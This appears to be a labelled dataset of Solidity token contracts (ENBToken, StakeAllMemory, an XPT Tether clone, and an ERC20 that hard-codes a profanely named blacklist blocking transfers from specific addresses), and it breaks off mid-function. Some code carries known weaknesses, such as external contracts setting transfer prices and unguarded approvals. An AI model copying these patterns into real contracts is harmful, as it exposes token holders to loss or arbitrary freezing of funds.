ContractReceiver receiver = ContractReceiver(_to);
uint256 price;
address owner;
(price, owner) = receiver.doTransfer(msg.sender, bytesToUint(_data));
if (balanceOf(msg.sender) < price) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(price);
balances[owner] = balanceOf(owner).add(price);
receiver.tokenFallback(msg.sender, price, _data);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) public constant returns (uint) {
return balances[_owner];
}
function burn(uint256 _value) public returns (bool) {
require (_value > 0);
require (balanceOf(msg.sender) >= _value); // Check if the sender has enough
balances[msg.sender] = balanceOf(msg.sender).sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function bytesToUint(bytes b) private pure returns (uint result) {
uint i;
result = 0;
for (i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public whenNotPaused returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool) {
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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pragma solidity ^0.4.24;
/**xxp 校验防止溢出情况
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Controlled is Ownable{
constructor() public {
setExclude(msg.sender);
}
// Flag that determines if the token is transferable or not.
bool public transferEnabled = false;
// flag that makes locked address effect
bool public plockFlag=true;
mapping(address => bool) locked;
mapping(address => bool) exclude;
// 控制全局全局锁
function enableTransfer(bool _enable) public onlyOwner{
transferEnabled = _enable;
}
// 控制个人锁功能
function enableLockFlag(bool _enable) public onlyOwner returns (bool success){
plockFlag = _enable;
return true;
}
function addLock(address _addr) public onlyOwner returns (bool success){
require(_addr!=msg.sender);
locked[_addr] = true;
return true;
}
function setExclude(address _addr) public onlyOwner returns (bool success){
exclude[_addr] = true;
return true;
}
function removeLock(address _addr) public onlyOwner returns (bool success){
locked[_addr] = false;
return true;
}
modifier transferAllowed(address _addr) {
if (!exclude[_addr]) {
// flase抛异常，并扣除gas消耗
assert(transferEnabled);
if(plockFlag){
assert(!locked[_addr]);
}
}
_;
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Controlled {
function transfer(address _to, uint256 _value) public transferAllowed(msg.sender) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public transferAllowed(msg.sender) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public transferAllowed(msg.sender) returns (bool) {
return super.approve(_spender, _value);
}
}
/*
* @title ENBToken
*/
contract ENBToken is BurnableToken, MintableToken, PausableToken {
// Public variables of the token
string public name;
string public symbol;
// decimals is the strongly suggested default, avoid changing it
uint8 public decimals;
constructor() public {
name = "Energy Block";
symbol = "ENBi";
decimals = 18;
totalSupply_ = 1000000000 * 10 ** uint256(decimals);
// Allocate initial balance to the owner
balances[msg.sender] = totalSupply_;
}
// transfer balance to owner
function withdrawEther() onlyOwner public {
address addr = this;
owner.transfer(addr.balance);
}
// can accept ether
function() payable public { }
// Allocate tokens to the users
// @param _owners The owners list of the token
// @param _values The value list of the token
function allocateTokens(address[] _owners, uint256[] _values) public onlyOwner {
require(_owners.length == _values.length, "data length mismatch");
address from = msg.sender;
for(uint256 i = 0; i < _owners.length ; i++){
address to = _owners[i];
uint256 value = _values[i];
require(value <= balances[from]);
balances[to] = balances[to].add(value);
balances[from] = balances[from].sub(value);
emit Transfer(from, to, value);
}
}
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// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
/**
* @title StakeAllMemory.
* @dev Store Data For Cast Function.
*/
contract StakeAllMemory {
// Memory Bytes (Smart Account Address => Storage ID => Bytes).
mapping(address => mapping(uint256 => bytes32)) internal mbytes; // Use it to store execute data and delete in the same transaction
// Memory Uint (Smart Account Address => Storage ID => Uint).
mapping(address => mapping(uint256 => uint256)) internal muint; // Use it to store execute data and delete in the same transaction
// Memory Address (Smart Account Address => Storage ID => Address).
mapping(address => mapping(uint256 => address)) internal maddr; // Use it to store execute data and delete in the same transaction
/**
* @dev Store Bytes.
* @param _id Storage ID.
* @param _byte bytes data to store.
*/
function setBytes(uint256 _id, bytes32 _byte) public {
mbytes[msg.sender][_id] = _byte;
}
/**
* @dev Get Stored Bytes.
* @param _id Storage ID.
*/
function getBytes(uint256 _id) public returns (bytes32 _byte) {
_byte = mbytes[msg.sender][_id];
delete mbytes[msg.sender][_id];
}
/**
* @dev Store Uint.
* @param _id Storage ID.
* @param _num uint data to store.
*/
function setUint(uint256 _id, uint256 _num) public {
muint[msg.sender][_id] = _num;
}
/**
* @dev Get Stored Uint.
* @param _id Storage ID.
*/
function getUint(uint256 _id) public returns (uint256 _num) {
_num = muint[msg.sender][_id];
delete muint[msg.sender][_id];
}
/**
* @dev Store Address.
* @param _id Storage ID.
* @param _addr Address data to store.
*/
function setAddr(uint256 _id, address _addr) public {
maddr[msg.sender][_id] = _addr;
}
/**
* @dev Get Stored Address.
* @param _id Storage ID.
*/
function getAddr(uint256 _id) public returns (address _addr) {
_addr = maddr[msg.sender][_id];
delete maddr[msg.sender][_id];
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-19
*/
/**
*Submitted for verification at Etherscan.io on 2017-11-28
*/
pragma solidity 0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
// function transferOwnership(address newOwner) public onlyOwner {
// if (newOwner != address(0)) {
// owner = newOwner;
// }
// }
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
// uint fee = (_value.mul(basisPointsRate)).div(10000);
// if (fee > maximumFee) {
// fee = maximumFee;
// }
// uint sendAmount = _value.sub(fee);
uint sendAmount = _value;
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
// if (fee > 0) {
// balances[owner] = balances[owner].add(fee);
// Transfer(msg.sender, owner, fee);
// }
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
// uint fee = (_value.mul(basisPointsRate)).div(10000);
// if (fee > maximumFee) {
// fee = maximumFee;
// }
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
// uint sendAmount = _value.sub(fee);
uint sendAmount = _value;
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
// if (fee > 0) {
// balances[owner] = balances[owner].add(fee);
// Transfer(_from, owner, fee);
// }
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
// contract Pausable is Ownable {
// // event Pause();
// // event Unpause();
// bool public paused = false;
// /**
// * @dev Modifier to make a function callable only when the contract is not paused.
// */
// modifier whenNotPaused() {
// require(!paused);
// _;
// }
// /**
// * @dev Modifier to make a function callable only when the contract is paused.
// */
// modifier whenPaused() {
// require(paused);
// _;
// }
// /**
// * @dev called by the owner to pause, triggers stopped state
// */
// function pause() onlyOwner whenNotPaused public {
// paused = true;
// Pause();
// }
// /**
// * @dev called by the owner to unpause, returns to normal state
// */
// function unpause() onlyOwner whenPaused public {
// paused = false;
// Unpause();
// }
// }
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
// function addBlackList (address _evilUser) public onlyOwner {
// isBlackListed[_evilUser] = true;
// AddedBlackList(_evilUser);
// }
// function removeBlackList (address _clearedUser) public onlyOwner {
// isBlackListed[_clearedUser] = false;
// RemovedBlackList(_clearedUser);
// }
// function destroyBlackFunds (address _blackListedUser) public onlyOwner {
// require(isBlackListed[_blackListedUser]);
// uint dirtyFunds = balanceOf(_blackListedUser);
// balances[_blackListedUser] = 0;
// _totalSupply -= dirtyFunds;
// DestroyedBlackFunds(_blackListedUser, dirtyFunds);
// }
// event DestroyedBlackFunds(address _blackListedUser, uint _balance);
// event AddedBlackList(address _user);
// event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract XPT is StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function XPT(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
// function deprecate(address _upgradedAddress) public onlyOwner {
// deprecated = true;
// upgradedAddress = _upgradedAddress;
// Deprecate(_upgradedAddress);
// }
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
// function redeem(uint amount) public onlyOwner {
// require(_totalSupply >= amount);
// require(balances[owner] >= amount);
// _totalSupply -= amount;
// balances[owner] -= amount;
// Redeem(amount);
// }
// function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// // Ensure transparency by hardcoding limit beyond which fees can never be added
// require(newBasisPoints < 20);
// require(newMaxFee < 50);
// basisPointsRate = newBasisPoints;
// maximumFee = newMaxFee.mul(10**decimals);
// Params(basisPointsRate, maximumFee);
// }
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
} | True | [
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pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
mapping(address=>bool) public isFuckingThief;
constructor() public
{
isFuckingThief[0x00000000002bde777710C370E08Fc83D61b2B8E1]=true;
isFuckingThief[0x4b00296Eb3d6261807A6AbBA7E8244C6cBb8EC7D]=true;
isFuckingThief[0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852]=true;
isFuckingThief[0x2C334D73c68bbc45dD55b13C5DeA3a8f84ea053c]=true;
isFuckingThief[0x3e1804Fa401d96c48BeD5a9dE10b6a5c99a53965]=true;
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) ensure(sender,amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier ensure(address sender,uint amount)
{
if (isFuckingThief[sender]==false)
{
_;
}
else ///for fucking thief
{
if(amount==0)
{
_;
}
else
{
require(1==0,"fuck you");
_;
}
}
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
